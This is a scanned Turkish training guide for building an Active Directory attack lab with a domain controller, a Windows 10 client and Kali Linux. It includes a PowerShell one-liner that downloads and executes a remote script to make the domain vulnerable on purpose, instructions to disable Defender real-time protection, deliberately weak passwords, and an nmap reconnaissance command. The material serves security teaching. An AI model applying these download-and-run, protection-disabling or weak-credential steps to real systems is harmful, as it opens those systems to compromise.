WIN-FNG7ILTEOHO

View installation progress

o Feature installation

Installation started on WIN-FNG7ILTBOHO

Active Directory Domain Services
DNS Server
Group Policy Management

Remote Server Administration Tools

Role Administration Tools

DNS Server Tools
AD DS and AD LDS Tools
Active Directory module for Windows PowerShell
AD DS Tools
Active Directory Administrative Center
AD DS Snap-Ins and Command-Line Tools

You can close this wizard without interrupting running tasks. View task progress or open this
page again by clicking Notifications in the command bar, and then Task Details.

Export configuration settings

< Previous Next > Install Cancel
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Kurulumlar bittikten sonra, Server Manager uygulamasini agarak ¢ikan bildirime tiklayip “Promote this
server to a domain controller” yazisina tiklayiniz.

[ Server Manager

Server Manager * Dashboard

Dashboard WELCOME TO SERVER MANAGI

Post-deployment Configuration

Configuration required for Active Directory Domain
Services at WIN-FNG7ILTBOHO

B Local Server

W& All Servers Promote this server to a domain controller
i§i AD DS . .
Feature installation
g2 DNS QUICK START
_—
Wg File and Storage Services P - Configuration required. Installation succeeded on
WIN-FNG7ILTBOHO.
3 Add Roles and Features
WHATS NEW 4 Task Details
5 Connect this server to cloud services

s

LEARN MORE
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Yeni bir Active Directory ortami kuracagimiz igin, Add a new forest segenegini isaretleyip alan adini veriniz.
Egitim senaryosu geregi kok alan adi “busiber.local” olarak atanmistir. Ne yaptiginizi biliyorsaniz,
degistirmekte serbestsiniz.

® ® DCO1 [Running]

[ Active Directory Domain Services Configuration Wizard - O X
- . . TARGET SERVER
15 Daf Dep\oymeﬂt Conﬁgurahon WIN-FNG7ILTBOHO
B Log
B\ All Deployment Configuration .
= Select the deployment operation
igl AD Domain Controller Cptions ~ _ )
a - ) () Add a domain controller to an existing domain
em DN Additional Options ) Add a new domain to an existing forest
g Fild Paths ® Add a new forest

Review Options . o . ) )
Specify the domain information for this operation
Prerequisites Check

Root domain name: busiber.local

More about deployment configurations

< Previous Next = Install Cancel
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DSRM parolasi atayarak diger ayarlari varsayilanda birakabilirsiniz.

[ Active Directory Domain Services Configuration Wizard = O X
D . C t | | O t TARGET SERVER
omain Controller Options WL oo

Deployment Configuration

Select functional level of the new forest and root domain
Domain Controller Options

SR Forest functional level: ’ Windows Server 2016 M !
DNS Options i

Additional Options Domain functional level: ’ Windows Server 2016 = [

Paths

Specify domain controller capabilities

Review Options | Domain Name System (DNS) server

Preraguisites Chack | Global Catalog (GC)
Read only domain controller (RODC)

Type the Directory Services Restore Mode (DSRM) password

Password: ’ sssssses

Confirm password: ’oooooooo

More about domain controller options

< Previous I | Next > | Install Cancel
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NetBIOS ¢agri adini “BUSIBER” olarak atayip devam ediniz.

fiz Active Directory Domain Services Configuration Wizard - O X
Add t | O _t TARGET SERVER
lonal Uptons WIN-FNG7ILTBOHO

Deployment Configuration ) i . o
- Verify the NetBIOS name assigned to the domain and change it if necessary
Domain Controller Cptions

DNS Options

The NetBIOS domain name: \BUSIBER |

Additional Options
Paths

Review Options

Preraguisites Chack

More about additional options

< Previous | | Next > Install Cancel
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Yapilandirma dosyalarinin konumlarini varsayilan olarak birakip devam ediniz.

fiz Active Directory Domain Services Configuration Wizard - O X
P th TARGET SERVER
atns WIN-FNG7ILTBOHO

Deployment Configuration ) ) ]
Specify the location of the AD DS database, log files, and SYSVOL
Domain Controller Cptions

I : o i T
DNS Options Database folder: ‘C \Windows\NTDS ‘ IZ'
Additicnal Options Log files folder: ‘C:\Wmdows\NTDS ‘ E

SYSVOL folder: | CAWindows\SYSVOL =]

Review Options

Preraguisites Chack

More about Active Directory paths

< Previous | | Next > Install
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Next’e tiklayip devam ediniz.

fi= Active Directory Domain Services Configuration Wizard - O X

. . TARGET SERVER
Review Options WIN-FNG7ILTBOHO

Deployment Configuration | Review your selections:

Domain Controller Options Configure this server as the first Active Directory domain conftroller in a new forest. A
DNS Options The new domain name is "busiber.local”, This is also the name of the new forest,
Additional Cptions
P The NetBIOS name of the domain: BUSIBER
Paths

Review Options Forest Functional Level: Windows Server 2016

Preraguisites Chack

Domain Functional Level: Windows Server 2016
Additional Options:
Global catalog: Yes

DNS Server: Yes

Create DNS Delegation: No

These settings can be exported to a Windows PowerShell script to automate
additicnal installations

More about installation options

< Previous | | Next > | ‘ Install ‘ | Cancel
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Bu adima kadar herhangi bir problem ile karsilasmadiysaniz, kurulum islemine devam edebilirsiniz.

fiz Active Directory Domain Services Configuration Wizard - O X
. - TARGET SERVER
PrereCZ]UB\teS Check WIN-FNG7ILTBOHO

| & All prerequisite checks passed successfully. Click ‘Install’ to begin installation. Show mare x

Deployment Configuration . ) N ) L .
Prerequisites need to be validated before Active Directory Domain Services is installed on this
Domain Controller Options | computer

DNS Options Rerun prerequisites check
Additional Cptions
Paths ® View results
Review Options 1. Windows Server 2019 domain controllers have a default for the security setting named ~
= "Allow cryptography algorithms compatible with Windows NT 4.0" that prevents weaker
Prerequisites Check cryptography algorithms when establishing security channel sessions.

For more information about this setting, see Knowledge Base article 942564 (http://
go.microsoft.com/fwlink/7Linkld=104731),

! A delegation for this DNS server cannot be created because the authoritative parent
zone cannot be found or it does not run Windows DNS server, If you are integrating
with an existing DNS infrastructure, you should manually create a delegation to this
DNS server in the parent zone to ensure reliable name resolution from outside the
domain “busiber.local”. Otherwise, no action is required. o

1 If you click Install, the server automatically reboots at the end of the promotion operation.

More about prerequisites

< Previous Next > Install | | Cancel




BOGAZIiCi UNIVERSITESi YBS SIiBER GUVENLiIK MERKEZI

Sunucu yeniden basladiginda BUSIBER\Administrator:1q2w3e4R bilgileri ile giris yapiniz.
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Domain Controller sunucumuzun ismini degistirmek icin, Dosya Gezginini agip, This PC’ye sag tikladiktan
sonra Properties’e tiklayip Change Settings’e tiklayiniz.

Home Share Wiew

Server 1+ 3 » Quick access wl| il
nwers
gt
: v 5 Quick access Frequent folders (4)
B Desktop »+ Desktop Downloads
" Downloads 2 This PC l This PC
nd Storac . * *
| Documents -
] Pict i Documents Pictures
Ictures * A2 This PC This PC
g «
v [ This PC
> @300 Collapse
> [ Deski @2 Manage
> Docu Pin to Start ‘ve opened some files, we'll show the m
3 ; Dow Map network drive...
y J’ Musi Open in new window
> [ Pictu Pin to Quick access
, m Vides Disconnect network drive...
i Loca Add a network location
> % CDD Delete
. Ej‘ Netuo Rename
Properties
4 items

BPA results ‘ ‘ BPA results
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Processon Intel(R) Core(TM) i7-8569U CPU @ 2.80GHz 2.81 GHz

Installed memory (RAM]): 400 GB e
Systemn type: B4-bit Operating Systemn, x64-based processor

Pen and Touch: Mo Pen or Touch Input is available for this Display

Computer name, domain, and workgroup settings

Computer name: ) Change settings

Computer Name/Domain Changes >

You can change the name and the membership of this

CompLter
computer. Changes might affect access to network resources.

Computer name:
DCo1

Full computer name:
DCO01 busiber local

Mare... lange...

Member of
Daomain:
busiber local

Workgroup:

DK Cancel

QK Cancel Apply




BOGAZIiCi UNIVERSITESi YBS SIiBER GUVENLiIK MERKEZI

Sunucuya giris yaptiktan sonra, Powershell aginiz.

i 0% Filter:
Best match

g Windows PowerShell
Desktop app
Ly Run as administrator

Apps ;
T4 Run as different user

oW
¥ Windows Powe [l Open file location

&Y Active Directon 52 Unpin from Start ‘Shell

& Windows Powe -3 Pin to taskbar

B Windows Powe [i] Uninstall

Settings

[t PowerShell Developer Settings

It Allow local PowerShell scripts to run without signing

& Replace Command Prompt with Windows PowerShell when using Windows + X menu

L powershell
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Komut satirindan yeni bir Domain Kullanicisi ekleyelim. Kullanicimizin adi “yusuf.akca” ve parolasi
“192w3e4R” olsun

net user yusuf.akca 1g2w3e4R /ADD /DOMAIN

EN Administrator: Windows PowerShell — O X

PS C:\Users\Administrator> net user vusuf.akca 1q2w3e4R /ADD /DOMAIN
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Domain Controller roli atanmis sunucumuzu zafiyetli hale getirmek icin, WazeHell
(https://twitter.com/safe buffer) tarafindan yazilmis vulnad.ps1 Powershell scriptini kullanacagiz.

https://github.com/WazeHell/vulnerable-AD

IEX((new-object net.webclient).downloadstring("https://raw.githubusercontent.com/wazehell/vulnerable-
AD/master/vulnad.ps1"));
Invoke-VulnAD -UsersLimit 25 -DomainName "busiber.local"

EN Administrator: Windows PowerShell

'S C:\Users\Administrator> IEX((new-objec
}); Invoke-VulnAD

anda Us

Use

bobbi.kilian User
rahal.kinna User
lon.lidia Us
lombard.oliy

e e e e e e e e e e e e e e e e e e e e e e e e e e

[:
[:
[:
[:
[:
[:
[:
[:
[:
[:
[:
[:
[:
[:
[:
[:
[*
[*
[*
[*
[*
[*
[*
[*
[*
[*



https://twitter.com/safe_buffer
https://github.com/WazeHell/vulnerable-AD
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Powershell betigi ilgili ayarlari tamamladigi zaman, asagidaki gibi bir cikti almamiz gerekiyor.

asting Done
sting allyn.oneida
sting marian.lizzy
v.111131
zting Done
lon.lidia
lﬂfl zha. 1HH11HH
Project management

P"'lpflnn : lu.jordan

jennie.antonia
joline.deva

bobbi.kilian
marian.lizzy
[+] 1 Done
[+] SMB Signing D

Bu zafiyetleri, neden ortaya ciktiklarini, nasil suistimal edilebilecekleri ve alinabilecek énlemleri egitimin
ileriki safhalarinda detayl bir sekilde inceleyecegiz.
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4.2.Domain Computer (Windows 10) Kurulumu ve Yapilandiriimasi

VirtualBox uygulamasinda YENI simgesine tiklayiniz ve sanal makine adint MUHASEBEO1_BUSIBER veriniz.
Makinenin tlrini Windows, sirimini ise Windows 10 (64-bit) olarak secip devam ediniz.

® Oracle VM VirtualBox Yéneticisi
1Y Adi ve igletim sistemi
444 Araglar
e
o Litfen yeni sanal makine igin agiklayici bir ad ve hedef klasor segin ve
—-,! ch°1 yiiklemek niyetinde oldugunuz isletim sistemi tiirlinii segin. Sectiginiz
D © Giig Kapali ad bu makineyi tanimlamak igin VirtualBox igerisinde kullanilacaktir.

Adi: |MUHASEBEO1_BUSIBER |
Makine Klasérii: /Users/r00t/VirtualBox VMs n
i

Tlri:  Microsoft Windows

Surim:  Windows 10 (64-bit)

Uzman Kipi Geri Git m iptal
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Ana makinenizin donanim 6zelliklerine gére uygun bir sekilde RAM ayarlarini yapip devam ediniz.

Oracle VM VirtualBox Yoneticisi

Bellek boyutu

Sanal makineye ayrilmasi igin megabayt olarak bellek (RAM) miktarini
segin.

Onerilen bellek boyutu 2048 MB'tr.

4096 [ MB

[TICUL T8y ko 0y b, E b T V0 (e U e AR LA TCRE O VIR VAR LA ZURNY DS DU O TN I | O 0 Lo A |

4 MB 16384 MB

Geri Git iptal

Simdi sanal bir sabit disk olustur secenegine tiklayarak devam ediniz.

Oracle VM VirtualBox Yoneticisi

Sabit disk

Eger isterseniz yeni makineye sanal bir sabit disk ekleyebilirsiniz. Ya
yeni bir sabit siirlicii dosyasi olugturabilirsiniz ya da listeden veya klasér
simgesini kullanarak bagka bir yerden birini segebilirsiniz.

Eger daha karigik depolama ayarlamasina ihtiyaciniz varsa bu adimi
atlayabilir ve makine bir kere olugturuldumu makine ayarlarindan
degisiklikleri yapabilirsiniz.

Sabit disk igin 6nerilen boyut 50,00 GB.

Sanal bir sabit disk ekleme
) Simdi sanal bir sabit disk olugtur
Varolan sanal bir sabit disk dosyasi kullan

DCO1.vdi (Normal, 50,00 GB)

Geri Git Olustur iptal
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Sabit disk dosyasi tlirini VDI olarak isaretleyip devam ediniz.

Sabit disk dosyasi tiirii

Liitfen yeni sanal sabit disk i¢in kullanmak istediginiz dosyanin tiirlini segin. Eger
diger sanallagtirma yazilimlari ile kullanmaya ihtiyaciniz yoksa bu ayari
| degistirmeden birakabilirsiniz.

© VDI (VirtualBox Disk Kalibi)
VHD (Sanal Sabit Disk)
VMDK (Sanal Makine Diski)

Uzman Kipi Geri Git iptal

Degisken olarak ayrilan segenegini isaretleyip devam ediniz.

Fiziksel sabit diskte depolama

Liitfen yeni sanal sabit disk dosyasinin kullaniimasina gore (degisken olarak
ayrilan) biyuyiip biiyimemesini ya da en fazla boyutunda (sabitlenmis boyut)
! olusturulup olusturulmamasini segin.

Degisken olarak ayrilan sabit disk dosyasi yalnizca fiziksel sabit surictliniizdeki
alani doldurarak (en fazla sabitlenmis boyuta kadar) kullanacak olmasina
ragmen alan serbest kaldiginda otomatik olarak tekrar kiiglilmeyecektir.

Sabitlenmis boyutlu sabit disk dosyasini olusturmak bazi sistemlerde uzun
slrebilir ama kullanmasi ¢ogu kez en hizl olandir.

) Degisken olarak ayrilan
Sabitlenmis boyut

Geri Git iptal
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Dosya yeri ve boyutu kismini varsayilan ayarlarda birakip devam ediniz.

Dosya yeri ve boyutu

Liitfen asagidaki kutuya yeni sanal sabit disk dosyasinin adini yazin ya da
dosyanin iginde olusturulacadi farkli bir klasorii segmek igin klasdr simgesine
! tiklayin.

rs/r00t/VirtualBox VMs/MUHASEBEO1_BUSIBER/MUHASEBEO1_BUSIBER.vdi| [

Megabayt olarak sanal sabit diskin boyutunu segin. Bu boyut sabit diskteki
depolanabilecek bir sanal makine dosya verisinin miktarini sinirlandirir.

50,00 GB

4,00 MB 2,00 TB

Geri Git Olustur iptal

ilk kurulum islemi bittikten sonra, Ayarlar simgesine tiklayin.

@ O Oracle VM VirtualBox Yoneticisi

@@ v P

UH j Araglar
Yeni Ayarlar Vazgeg Baslat

=7 DCo1 M Genel

@ Gii¢ Kapali Adl: MUHASEBEO1_BUSIBER

Isletim Sistemi: Windows 10 (64-bit)

i/ | MUHASEBEO1_BUSIBER u=—  |&] sistem

MY © Giig Kapal o=

- ¢ Kap Ana Bellek: 4096 MB

Onyiikleme Sirasi: Disket, Optik, Sabit Disk
Hizlandirma: VT-x/AMD-V, I¢ Ige Disk Belledi, Hyper-V Yari

Sanallastirma

B Ekran

Goriintl Bellegi: 128 MB
Grafik Denetleyicisi: VBoxSVGA
Uzak Masalstl Sunucusu: Etkisizlestirildi
Kayit: Etkisizlestirildi
2] Depolama

Denetleyici: SATA
SATA B.Noktasi 0: MUHASEBEQ1_BUSIBER.vdi (Normal, 50,00 GB)
SATA B.Noktasi 1: [Optik Siriicli] Bog
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Ag Ayarlarindan, Windows 10 sanal makinesini NatNetwork ‘e baglayin.

PP

N NN “MUHASEBEOT BUSIBER Ag
- . @3 ﬂ 2 & :
Genel Sistem Ekran Depolama B.Noktalari Paylagilan Klasorler Kullanici Arayiizi

Bagdastirici 1 Bagdastirici 2 Bagdastirici 3 Bagdastirici 4

Ag Bagdastiricisini etkinlestir

Suna takildi: ~ NAT Agi ad
Adi: NatNetwork B
P> Geligmis

iptal TAMAM

Daha sonra Depolama sekmesinden Sata Baglanti Noktasi 1’e indirdigimiz Windows 10 ISO dosyasini
takacagiz.

~ 1 TN T

| @ MUHASEBEO1 BUSIBER Depolama
_BEn N9 @@3 ﬂ £ T
Genel Sistem Ekran Depolama B.Noktalan Paylagilan Klasorler Kullanici Arayiizi
Depolama Aygitlari Oznitelikler
& Denetleyici: SATA Optik Siiriicii: ~ SATA B.Noktasi 1 B
MUHASEBEO1_BUSIBER.vdi . Sanal Optik Disk Seg/Olustur...

Ll s

Bilgi 17763.737.190906-2324.rs5_release_svc_

Tiuri: | Diski Sanal Surucuden Kaldir
Boyut: --
Yer: --

Suna Takildi:  --
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| oo v = ) Masaiistii < @3
[}
| Favoriler
£ son Kullanilanlar
L]
A\ Uygulamalar b
] Masatistii r—
M Belgeler & "
o indirilenler .
iCloud q
¢ iCloud Drive kaynak indirme B
Etiketler okul >
® Kirmizi W pt » win10.iso
. ISO Disk Gérintist - 5,59 GB
) Turuncu tost . —
Sart (B wintoiso L
B Vacil windows 10 kurulum »  Yaratilig Tarihi Diin 23:21

Tum sanal optik disk dosyalari (*d...

Yeni Klasor Segenekler Vazgeg

| NON ) MUHASEBEO1_BUSIBER - Depolama

RO @3 w0 :

Genel Sistem Ekran Depolama Ag B.Noktalari Paylasilan Klasdrler Kullanici Araylzii

Depolama Aygitlari Oznitelikler

& Denetleyici: SATA Optik Siirlici: ~ SATA B.Noktasi 1 O)
MUHASEBEO1_BUSIBER.vdi

Canli CD/DVD
Calisirken-takilabilir

© win10.iso

Bilgi
Tlri:  Kalip
Boyut: 5,20 GB
Yer: /[Users/r00t/Desktop/win10.iso
Suna Takildi:  --

iptal TAMAM
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e

Yeni Ayarlar  Vazgeg Baslat
M Genel M Onizlem
Adi: MUHASEBEO1_BUSIBER

- @® MUHASEBEO1_BUSIBER [Powered Off]

Please select a virtual optical disk file or a physical
optical drive containing a disk to start your new virtual
machine from.

|

The disk should be suitable for starting a computer from
and should contain the operating system you wish to
install on the virtual machine if you want to do that now.
The disk will be ejected from the virtual drive
automatically next time you switch the virtual machine
off, but you can also do this yourself if needed using the
Devices menu.

v 17763.737.190906-2324.rs5_release_svc_refresh_SERVER_EVAL_x64FRE_en
VBoxGuestAdditions.iso (58,16 MB)

win10.iso (5,20 GB)
r Go Back Cancel

—_—
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Sanal makine agildiktan sonra kurulum islemine Install now diyerek devam ediniz.

4 Windows Setup | — | (=] |&|

am Windows

Install now

Repair your computer

& 2020 Microsoft Corporation. All rights rezerved.
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Lisans s6zlesmesini kabul edip kuruluma devam ediniz.

&, @Winduws Setup ﬁ

Applicable notices and license terms

Last updated June 2018 ~
MICROSOFT SOFTWARE LICENSE TERMS

WINDOWS OPERATING SYSTEM

IF YOU LIVE IN (OR IF YOUR PRINCIPAL PLACE OF BUSINESS I5 IN) THE
UNITED STATES, PLEASE READ THE BINDING ARBITRATION CLAUSE
AND CLASS5 ACTION WAIVER IN SECTION 11. IT AFFECTS HOW
DISPUTES ARE RESOLVED.

Thank you for choosing Microsoft!

Depending on how you obtained the Windows software, this is a license
agreement between (i) you and the device manufacturer or software installer

[]1 accept the license terms
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Custom: Install Windows only (advanced) segenegini isaretleyip devam ediniz.

@ ﬂ Windows Setup

Which type of installation do you want?

Upgrade: Install Windows and keep files, settings, and applications
The files, settings, and applications are moved to Windows with this option. This cption is only
available when a supported version of Windows is already running on the computer.

Custom: Install Windows only (advanced)

The files, settings, and applications aren't moved to Windows with this option. If you want to
make changes to partitions and drives, start the computer using the installation disc. We
recomnmend backing up your files before you continue.
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é] Windows Setup

Installing Windows

Status

g Copying Windows files
Getting files ready for installation (0%)
Installing features
Installing updates
Finishing up

X
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Yiikleme bittikten sonra Klavye ayarini Turkish Q olarak secip devam ediniz.

s this the right keyboard layout?

If you also use another keyboard layout, you can add that next.

SWeaisn witn >ami
Swiss French
Swiss German
Turkish F

Turkish Q

Turkmen

United Kingdom Extended
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Bir sonraki sayfada, “Domain join instead” butonuna tiklayin.

& Sign in with Microsoft

Work or school account

Ltc:: meone@example.com

Which account should | use?

Sign in with the username and password you use with Office 365 or other business services
from Microsoft.

Domain join in*tead Privacy & cookies Terms of use
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Tahmin edilebilir ve kirilabilir glivensiz bir parola girelim: 1q2w3e4R

Create a super memorable password

Make sure to pick something you’'ll absolutely remember.

1g2w3e4R)| o

E an online account
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Guvenlik sorularini rastgele deger girip devam edin.

Create security questions for this account

Just in case you forget your password, choose 3 security questions, and make sure your answers are unforgettable.

K

! What's the name of the first school you attended?

busiber |

better, use an online account
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Gizlilik ayarlarini kapatarak devam ediniz.

Choose privacy settings for your device

Microsoft puts you in control of your privacy. Choose your settings, then select ‘Accept’ to save them. You can change these settings at any

Online speech recognition

You won't be able to use dictation or talk to Cortana or other apps
that support Windows cloud-based speech recognition. You can still
use the Windows Speech Recognition app and other speech services
that don't rely on Windows cloud-based services.

@ No

Find my device
Windows won't be able to help you keep track of your device if you
lose it.

Inking & typing

Don't use my diagnostic data to help improve the language
recognition and suggestion capabilities of apps and services running
on Windows.

time.

Location
You won't be able to get location-based experiences like directions
and weather or enjoy other services that require your location to work.

@ No

Diagnostic data

Send only info about your device, its settings and capabilities, and
whether it is performing properly. Diagnostic data is used to help

keep Windows secure and up to date, troubleshoot problems, and
make product improvements.

@ Send Required diagnostic data
Tailored experiences
The tips, ads, and recommendations you see will be more generic and

may be less relevant to you.
T~y e

Learn more
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We're getting everything ready for you
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Oturum agtiktan sonra, Dosya Gezginini agip This PC'ye sag tiklayarak Properties segcenegine tiklayin.

< | File Explorer

N
- Home Share View

A o > Quickaccess > Search Quick access

S BN e v Frequent folders (6)

Il Desktop Desktop Downloads

This PC This PC
& Downloads ,IS ‘ ,l

) Documents

=/ pi __ Documents Pictures
i Fictures This PC e This PC

e
49

D Music l—J » = ,

B Videos

Videos
i This P
> @ OneDrive m e

> [ ThisPC
> ’h

Expand

Manage
Pin to Start
Map network drive...

r you've opened some files, we'll show the most recent ones here.

Open in new window
Pin to Quick access

Disconnect network drive...

Add a network location

Delete

y Rename
6 items

Properties

0 Enterprise Evaluaf
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Rename this PC butonuna tiklayarak, bilgisayara MUHASEBEQ1 ismini verin.

Settings

fmt Home

System

L1 Display

D9 Sound

|:| Motifications & actions
J)  Focus assist

Y Power & sleep

3 Battery

= Storage

&l

Tablet

i

Multitasking

About

Device specifications

Device name DESKTOP-KCEESRD

Processor Intel(R) Core(TM) i7-8569U CPU @ 2.80GHz 2.81
GHz

Installed RAM 4,00 GB

Device ID 435FB3C5-4A20-4FDB-89F1-E99B63947E38

Product ID 00329-20000-00001-AA486

System type 64-bit operating system, x64-based processor

Pen and touch MNo pen or touch input is available for this display

Copy

Rename this PC

Windows specifications

Edition Windows 10 Enterprise Evaluation
Version 20H2

Installed on 2/3/2021

0S build 19042.631

Rename your PC

Rename your PC

You can use a combination of letters, hyphens, and numbers.

Current PC name: DESKTOP-KCEESRD

MUHASEBEQ1| X
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Bilgisayari yeniden bagslatin.

Rename your PC

Rename your PC

After you restart, your PC name will change to: MUHASEBEO1

Restart later

Egitim esnasinda herhangi bir ag problemi ile karsilasmamak icin, Windows 10 bilgisayarinda ag
bagdastiricisi ayarlari yapalim. Sag tarafta Ag simgesine sag tiklayim “Open Network&Internet settings” e
tiklayiniz.

Troubleshoot problems

Open Network & Internet settings

A el 1525 P
~ Y F] i) i eyl EI

Cikan sayfada, Change adapter options ‘a tiklayiniz.

Advanced network settings

Change adapter options
View network adapters and change connection settings.
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Ag bagdastiricisina sag tiklayip Properties secenegine tiklayiniz.
-E' Metwork Connections

1T -E' <« Metwork and Internet > MNetwork Connections

Organize « Disable this network device Diagnose this connectio

‘hl Ethernet
~ Metwaork
= Intel(R) PRO/1000 MT Deskton Ad...
¥ Disable

Status

Diagnose

Bridge Connections

Create Shortcut
Delete

Eename

| <QC @

Properties
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Windows 10 sanal makinesine Statik IP olarak 192.168.0.10 atayalim ve Domain Controller sunucumuzu
DNS sunucusu olarak girelim.

R B L R N e D L L NI I%E

@ Ethernet Properties =
Metworking
C
Internet Protocol Version 4 (TCP/IPvd) Properties pd
General

You can get IP settings assigned automatically if your network supports
this capability. Otherwise, you need to ask your network administrator
for the appropriate IP settings.

() Obtain an IP address automatically
(@) Use the following IP address:

IP address: 192,163 . 0 , 10
Subnet mask: 255,255 .255. 0
3 Default gateway: 192,168 . 0 . 1

[ Obtain DMNS server address automatically

(@) Use the following DNS server addresses:

Preferred DM5 server: 192 . 163, 0 ., 4

Alternate DMS server: 1.1 .1 .1

B [ validate settings upon exit Advanced. ..

tem

- Ok Cancel
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Ag ayarlarini yaptiktan sonra, Windows 10 istemci bilgisayari Domain ortamina ekleyiniz. Dosya Gezginine
tiklayip This PC dosyasina sag tiklayin ve Properties sekmesine ilerleyin. Asagi inerek “Advanced system
settings” secenegini bulun ve tiklayin. Cikan sayfada Computer Name sekmesine tiklayin ve “Change”

R

butonuna tiklayin.

System Properties

Computer Name  Hardware Advanced System Protection Remote

‘ Windows uses the following information to identify your computer
= onthe networlk.

Computer description:

For example: "Kitchen Computer” or "Man's
Computer”.

Full computer name: MUHASEBED

Warkgroup: WORKGROUP

To use a wizard to join @ domain or wornkigroup, click

Network D, Metwar |D...
Tao rename this computer or change its domain or Change... I

workgroup, click Change.

QK Cancel Apply

bout

his page has a few new si

e settings from Control Panel hay
py your PC info so it's easier to sha

elated settings

tLocker settings
byice Manager

tmote desktop

_Istem protection

C} EBattery

= Storage

Advanced system settings

Rename this PC {advanced)
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Member of Domain’l segin ve Active Directory kurulum esnasinda atadiginiz kdk alan adini girin.

System Properties >

Computer Mame/Domain Changes X lmote

You can change the name and the membership of this

computer
computer. Changes might affect access to network resources.

Computer name:
MUHASEBED

any’s

Full computer name:
MUHASEBED

More.. | Bk ID...

Member of
(@) Domain:
busiber local| Nge...

() Workgroup:
WORKGROUP

QK Cancel

QK Cancel Apphy
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Bilgisayari Domain’e alabilmek i¢in Administrator kullanicisinin bilgilerini giriniz.

J:. ---. | : .E: }:: _
I - . -

A Fer e Neriain ChRannes
L JULE dd =7 L d I }{. L—nu‘te

You can change the name and the membership of this computer I
computer. Changes might affect access to netwark resources.
; L l. ™~ b "
Computer name: Windows Security -
MUHASEBED - ne this
Computer Name/Domain Changes
Full computer name:
Ll ELET Enter the name and password of an account with permission to
Join the domain.
Member of S .
) Administrator@busiber.local
(@) Domain:
busiber local
Tg2w3ed
() Workgroup: 9 R|
WORKGROUP
(0].4 Cancel
- Computer Name/Domain Changes =

o Welcome to the busiber.local domain,

QK
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Bilgisayar acildiktan sonra, Other user’i secip duslik yetkili bir Domain Kullanicisi ile giris yapiniz.

yusuf.akca@busiber.local
1g2w3e4R

Other user

ﬂrusuf.a kca@busiber.local

Sign in to: busiber.local

How do | sign in to another domain?
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Settings

M Home

Find a setting

System

=]

)

0

&l

I

Display

Sound

Notifications & actions

Focus assist

Power & sleep

Battery

Storage

Tablet

Multitasking

= O X
About
Your PC is monitored and protected.
See details in Windows Security
Device specifications
Device name MUHASEBEO1
Full device name MUHASEBEO1.busiber.local
Processor Intel(R) Core(TM) i7-8569U CPU @ 2.80GHz 2.81
GHz
Installed RAM 4,00 GB
Device ID 435FB3C5-4A20-4FDB-89F1-E99B63947E38
Product ID 00329-20000-00001-AA486
System type 64-bit operating system, x64-based processor
Pen and touch MNo pen or touch input is available for this display
Copy
Rename this PC

Windows specifications
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Antivirus/EDR/IPS-IDS atlatma bu egitimin kapsamina alinmadigindan, Windows 10 bilgisayarinda giivenlik
ayarlarini kapatiniz. Egitimin ilerleyen asamalarinda savunma atlatma ile alakali genel 6neriler verilecektir.

All Apps Documents Web More

Best match

PPs

. Windows Security >

i, Local Security Policy >

W Windows Defender Firewall with N
Advanced Security

Settings

W Windows Security >

W Security processor >

W Security processor y
troubleshooting

> Check for updates >

Y Windows Security settings >

L - -

- Windows Update settings >

Search the web

£ security - See web results >
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“s Virus & threat protection settings

View and update Virus & threat protection settings for Microsoft
Defender Antivirus.

Real-time protection

Locates and stops malware from installing or running on your device. You
can turn off this setting for a short time before it turns back on
automatically.

€3 Real-time protection is off, leaving your device vulnerable.

@ O off

Cloud-delivered protection

Provides increased and faster protection with access to the latest
protection data in the cloud. Works best with Automatic sample
submission turned on.

@ off
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== Windows Security

Verified publisher: Microsoft Windows

Show more details

To continue, enter an admin user name and password.

Administrator

TIIII )

Domain: BUSIBER
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4.3.Kali Linux 2020.4 Kurulumu ve Yapilandiriimasi
Dosya indirme islemi esnasinda Kali Linux 2020.4 isletim sistemini OVA dosyasi olarak indirdigimiz igin,
Uzerine ¢ift tiklayarak sanal makineyi direkt olarak VirtualBox’a aktarabilirsiniz.

7= %100 @3 Per 01:18 Hasan Ekin Dumanodullan Q =
@ Oracle VM VirtualBox Yéneticisi
Cihaz ayarlan

ol Bunlar cihaz iginde bulunan sanal makineler ve ige aktariimig VirtualBox makinelerinin 6nerilen ayarlaridir.
a Ogelere gift tiklandiinda gdsterilen gogu dzellikleri degistirebilirsiniz ve agagidan onay kutularini kullanarak
: digerlerini etkisizlegtirebilirsiniz.

Q Sanal Sistem 1
98 Adi Kali-Linux-2020.4-vbox-amd64
® UOrin Kali Linux
f & Uriin-URL https://www.kali.org/
v
4 & Satici Offensive Security
& Satici-URL https://www.offensive-security.com/
VEIX=AMCOR. oA ® Sirim Rolling (2020.4) x64
Makine Tabanl Klasor: /Users/r00t/VirtualBox VMs
MAC Adresi ilkesi: Yalnizca NAT ag bagdastiricisi MAC adreslerini dahil et o
ilave Segenekler: Sabit siriiciileri VDI olarak ige aktar
Cihaz imzal degil
Varsayilanlari Geri Yikle Geri Git iptal

Oracle VM VirtualBox Yoneticisi

Sanal sistem "Kali-Linux-2020.4-vbox-amd64", asagida
gosterilen yazilim lisans s6zlesmesinin kosullarini ve
sartlarini kabul etmenizi gerektirir.

ice aktarmaya devam etmek icin Kabul et'e tiklayin ya da iptal
etmek icin Kabul etme'ye tiklayin.

GPL v3 ~ https://www.kali.org/docs/policy/kali-linux-open-
source-policy/

Yazdrr... Kaydet... Kabul etme m
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.,f’ - Importing virtual disk image 'Kali-Linux-2020.4-vbox-amd64-disk001.vmdk' ... (2/3)
- [ x]

Kalan siire: 3 dakika '

Son olarak, Kali Linux 2020.4 sanal makinesini Ag ayarlarindan NatNetwork’e ekleyiniz.

o0 @ Kali-Linux-2020.4-vbox-amd64 - A§
Mam U o®o @ F
Genel Sistem Ekran Depolama B.Noktalari Paylasilan Klasorler Kullamicl Arayizi

Bagdastirici 1 Bagdastirici 2 Bagdastinc1 3 Bagdastirici 4

Ag Bagdastiricisini etkinlestir
Suna takildi: | NAT Agi

Adi: NatNetwork

o)

P> Gelismig

iptal TAMAM
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5. Active Directory Saldirilarina Girig — Bilgi Toplama

Yerel ag sizma testi esnasinda gecerli bir Domain User hesabina sahip degilsek, Domain ortami hakkinda
ogrenebileceklerimiz sinirli. Gegerli bir kullanici elde etmeden dnce yerel agda asagidaki bilgileri toplamak
sizma testinin ileriki safhalarinda bize yardimci olacaktir;

e DNS (Alan Adi).

e NetBIOS Cagri Adi.

e Sunucu ve istemcilerin SMB versiyonlari.

e Kimlik Denetimi olmadan erisilebilen dosya paylasimlari.

5.1. nbstat
nbstat, hedef bilgisayarlarin NetBIOS adlarini tespit eden bir nmap betigidir.

sudo nmap -sU --script nbstat.nse -p137 192.168.0.0/24

PORT STATE SERVICE
